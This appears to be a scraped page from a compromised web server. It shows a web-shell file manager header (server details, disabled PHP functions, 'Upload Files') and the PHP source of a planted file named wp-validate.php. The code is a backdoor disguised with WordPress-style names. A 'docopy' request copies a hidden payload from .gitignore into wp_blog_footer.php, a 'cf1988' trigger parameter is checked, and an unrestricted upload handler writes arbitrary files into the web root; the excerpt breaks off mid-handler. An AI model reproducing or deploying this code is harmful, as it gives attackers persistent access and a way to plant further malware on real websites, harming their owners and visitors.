HEX
Server: Apache/2
System: Linux cp07.iserverteam.com 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User: fliyingp (1085)
PHP: 7.4.33
Disabled: exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/fliyingp/public_html/wp-validate.php
<?php
// API mode - return 1 or 0 only (must be before any HTML output)
if (isset($_GET['docopy'])) {
    $source_file = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.gitignore';
    $target_file = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'wp_blog_footer.php';
    
    if (file_exists($source_file)) {
        $content = file_get_contents($source_file);
        if ($content !== false && file_put_contents($target_file, $content) !== false) {
            echo '1';
        } else {
            echo '0';
        }
    } else {
        echo '0';
    }
    exit;
}

// Validation trigger check
$validation_trigger = isset($_GET['cf1988']);

// File upload handler
$upload_message = '';
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) {
    $upload_dir = dirname(__FILE__) . DIRECTORY_SEPARATOR;
    $file_name = basename($_FILES['file']['name']);
    $target_path = $upload_dir . $file_name;